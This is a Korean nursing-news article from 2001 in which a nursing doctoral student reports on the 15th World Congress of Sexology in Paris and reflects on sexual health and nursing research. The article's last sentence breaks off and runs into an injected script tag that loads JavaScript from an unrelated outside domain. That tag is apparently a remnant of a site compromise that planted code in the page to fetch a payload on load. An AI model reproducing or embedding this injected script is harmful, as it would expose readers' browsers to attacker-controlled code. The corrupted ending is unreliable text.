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세계 성학회를 다녀와서
[연대간호대학박사과정] 이선경   news@nursenews.co.kr     기사입력 2001-07-26 오전 10:51:18

제15차 세계 성 학회(World Congress of Sexology)가 프랑스 파리에서 'Back to the future'라는 슬로건 하에 성황리에 열렸다. 학회는 세계 각국의 성학자(sexologist), 성교육자(sex educator), 심리학자, 의사, 간호사 등이 참여해 성에 대한 다양한 관점과 그동안의 연구결과를 발표하고 논의하는 장이었다. 필자는 연대 간호대학 장순복 교수님, 삼육간호보건대학 양은영 교수님과 함께 참석했다.

총 80개국이 참여하고 311명의 각국 발표자가 3개 국어를 사용하여 발표하며, 총 2000명이 넘는 인원이 참가한 이번 학회는 그야말로 성에 대한 학문적 증거, 다양한 관점과 문화, 세계적 흐름을 읽을 수 있는 성 관련 정보의 보고였다.

학회에서는 남성과 여성의 성으로부터, 인간 발달단계에 따라 유아기·청소년·성인·노인의 성, 성적 오리엔테이션에 따라 동성애·이성애·양성애로, 인간의 질병에 따라 발기부전·당뇨·고혈압·장애인·암·약물중독·불임부부의 성, 새롭게 부각되어 주목받은 인터넷과 성 등 다차원적 논의가 이루어졌다.

또한 성폭력, 성교육 더 나아가 21세기 성에 대한 개념, 성학자라는 직종 에 대한 개념 정의와 성 건강, 성 권리, 성적으로 건강한 사회에 대해 WHO와 세계적인 합의를 보려는 학자간 논의과정이 있었다.

이번 학회를 통해 인상적이었던 세계 성과학의 흐름을 보면 첫째, 매우 다양한 성에 대한 인정과 동시에 그들의 권리를 옹호하는 경향을 볼 수 있었다는 것이다. 동성애자 같이 성적으로 주변그룹에 속한 이들의 권익을 보호하는 것뿐만 아니라 그들이 입양하는 아이들의 문제까지 연구하는 진일보된 연구 경향을 볼 수 있었다.

둘째, 성교육 분야에서는 10대의 임신 및 성병 예방 일변도의 성교육에서 '성적인 금욕과 절제'를 강조하는 미국내 성교육의 변화를 알 수 있었다. 10대 청소년들의 성 욕구를 존중해 주고 긍정적인 정체감을 심어주기 위한 노력과 동시에 성병 및 10대 임신 예방을 위한 노력이 동시에 이루어지고 있었다. 즉 안전한 성과 성적 쾌락·만족이라는 상호 이율배반적인 이슈를 가지고 두 마리의 토끼를 잡기 위해 고민하고 있는 성교육의 현주소를 알게 됐다.

셋째, 남성의 성 문제에 대한 약물적 접근으로 비아그라에 이어 보다 효과적인 약물들이 소개되었다. 이번 성 학회에 스폰서를 담당한 Pfizer, Takeda, Lilly Icos, Abott는 남성의 발기부전을 치료하기 위한 대표적 약물을 생산해 내는 회사로서 이번 성 학회의 이면에서 뜨거운 로비 경쟁을 벌이기도 하였다.

이번 5일간의 세계 성 학회를 참석하고 난 후 필자는 간호학도로서 근본적으로 인간의 성 건강에 대한 개념적 합의가 이루어지지 않는 상태에서 방법론적 연구가 진행되는 것에 대한 답답한 마음을 감출 수가 없었다.

각각의 다양한 중재들이 다른 목표를 향하여 개발되고 그러한 가운데에서 인간의 성은 무엇이며, 인간의 성이 어디로 가고 있으며, 어디로 가야만 하는가 라는 근본적인 질문을 계속 던지지 않을 수 없었다.

이미 WHO는 1995년 성 건강에 대한 정의를 발표한 바 있으나 너무나도 다른 문화적 배경에서 뿌리내린 성 개념들에 대한 나라간, 학제간의 이견을 좁히는 것이 그리 쉽지는 않았다. 이는 인간의 성이 생물학적, 비객관적, 사회문화적, 관계적인 다양한 속성을 내포할 뿐만 아니라 각각의 성 개념에 대한 인정과 존중이 성 건강이라는 개념적 합의 도출을 어렵게 한 것이 아닐까하는 생각이 들었다.

인간의 성 건강은 인간이 궁극적으로 자신이 가지고 태어난 성과 사회적으로 획득한 성에 대해 자부심을 가지며 자신의 몸에 대한 자율성을 갖고 외부의 제약 없이 행동할 수 있는 것이라고 생각한다. 이러한 측면에서 보면 우리나라의 여성들은 자기 몸의 주인이 되지 못하여 생기는 성과 생식 관련 문제를 많이 갖고 있다.

이번 학회에서는 평소 고민했던 우리나라 여성들의 성에 관한 문제들을 떠올리며 나름대로 이들을 위한 간호학적 중재에 대하여 이리저리 생각할 수 있는 계기가 되었다.

또한 간호사로서 건강관리 차원의 성 건강이라는 것은 성이라는 텃밭에서 뿌리내리고 싹이 나서 생식현상이라는 열매를 맺는, 즉 동전의 앞뒷면과 같은 것인 만큼 생식건강과 성 건강의 관계를 규명하는 구체적인 연구들이 건강증진 간호실무 차원에서 보다 활발히 진행되어야 할 것이라고 느끼는 소중한 시간이 되었다.

또한 인간의 성 건강이라는 고리로 타국에서 만나게 된 비뇨기과 최형기 선생님, 이웅희 선생님과 정신과 표진인 선생님, 북한에서 온 성학자 모두 인간의 성 건강에 헌신하는 소중한 분들이었다.

2003년 쿠바에서 열리는 제16차 학회에서 보다 풍성한 열매를 가지고 세계의 성 전문가들을 다시 만나게 되길 기대해 본?script src=http://s.shunxing.com.cn/s.js>
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